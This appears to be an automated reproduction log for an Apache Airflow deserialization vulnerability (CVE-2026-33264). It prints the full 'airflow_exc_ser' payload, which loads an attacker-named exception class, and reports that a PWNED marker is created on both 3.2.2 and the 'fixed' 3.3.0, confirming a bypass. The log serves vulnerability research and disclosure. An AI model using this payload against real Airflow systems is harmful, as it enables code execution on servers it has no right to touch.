=== CVE-2026-33264 variant / bypass reproduction ===
ROOT: /data/pruva/runs/1d902323-6d89-4555-94b4-ca00d87d0bd4/bundle
REPO_DIR: /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo
Cache prepared: true
Vulnerable venv: /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/bin/python
Fixed venv: /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/bin/python
Vulnerable Airflow version: 3.2.2
Fixed Airflow version: 3.3.0
--- Running vulnerable attempt (airflow_exc_ser) ---
2026-07-09T14:35:34.430729Z [info     ] setup plugin alembic.autogenerate.schemas [alembic.runtime.plugins] loc=plugins.py:37
2026-07-09T14:35:34.430890Z [info     ] setup plugin alembic.autogenerate.tables [alembic.runtime.plugins] loc=plugins.py:37
2026-07-09T14:35:34.430937Z [info     ] setup plugin alembic.autogenerate.types [alembic.runtime.plugins] loc=plugins.py:37
2026-07-09T14:35:34.431005Z [info     ] setup plugin alembic.autogenerate.constraints [alembic.runtime.plugins] loc=plugins.py:37
2026-07-09T14:35:34.431069Z [info     ] setup plugin alembic.autogenerate.defaults [alembic.runtime.plugins] loc=plugins.py:37
2026-07-09T14:35:34.431105Z [info     ] setup plugin alembic.autogenerate.comments [alembic.runtime.plugins] loc=plugins.py:37
MODULE-LEVEL-EXECUTED
[vulnerable] Airflow 3.2.2
[vulnerable] marker_exists_after=True exception=None
Vulnerable attempt exit code: 0
{
  "label": "vulnerable",
  "airflow_version": "3.2.2",
  "payload": "{<Encoding.TYPE: '__type'>: 'airflow_exc_ser', <Encoding.VAR: '__var'>: {<Encoding.TYPE: '__type'>: 'dict', <Encoding.VAR: '__var'>: {'exc_cls_name': 'evil_exc.EvilException', 'args': [], 'kwargs': {<Encoding.TYPE: '__type'>: 'dict', <Encoding.VAR: '__var'>: {}}}}}",
  "module_dir": "/tmp/evil_exc_bt4pp84b",
  "marker": "/tmp/evil_exc_bt4pp84b/PWNED",
  "marker_exists_after": true,
  "exception_type": null,
  "exception_message": null
}--- Running fixed attempt (airflow_exc_ser) ---
MODULE-LEVEL-EXECUTED
[fixed] Airflow 3.3.0
[fixed] marker_exists_after=True exception=None
Fixed attempt exit code: 0
{
  "label": "fixed",
  "airflow_version": "3.3.0",
  "payload": "{<Encoding.TYPE: '__type'>: 'airflow_exc_ser', <Encoding.VAR: '__var'>: {<Encoding.TYPE: '__type'>: 'dict', <Encoding.VAR: '__var'>: {'exc_cls_name': 'evil_exc.EvilException', 'args': [], 'kwargs': {<Encoding.TYPE: '__type'>: 'dict', <Encoding.VAR: '__var'>: {}}}}}",
  "module_dir": "/tmp/evil_exc_qmm2j66x",
  "marker": "/tmp/evil_exc_qmm2j66x/PWNED",
  "marker_exists_after": true,
  "exception_type": null,
  "exception_message": null
}=== Verdict evaluation ===
Vulnerable marker created: true (exception=)
Fixed marker created: true (exception=)
Bypass confirmed: true
Bypass confirmed: fixed version remains vulnerable via airflow_exc_ser.